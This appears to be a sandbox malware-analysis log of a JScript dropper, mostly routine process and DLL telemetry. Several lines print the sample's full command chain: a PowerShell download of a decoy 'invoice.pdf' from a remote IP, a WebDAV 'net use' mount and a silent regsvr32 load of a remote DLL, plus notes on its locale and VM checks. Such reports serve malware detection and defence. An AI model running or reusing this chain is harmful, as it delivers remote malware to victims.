Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4326.js.csv");ITextStream.WriteLine(" entry:8823 f:jmnwq");ITextStream.WriteLine(" exec:2 f:jmnwq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5140			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4719			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 5140 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 4719 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7972	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8168	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1796	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1418318665.000001D42CA07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.1478342831.000001AFEF691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2711972337.000002960522B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2713166170.000002960A858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`ai
Source: net.exe, 00000007.00000002.1478342831.000001AFEF691000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
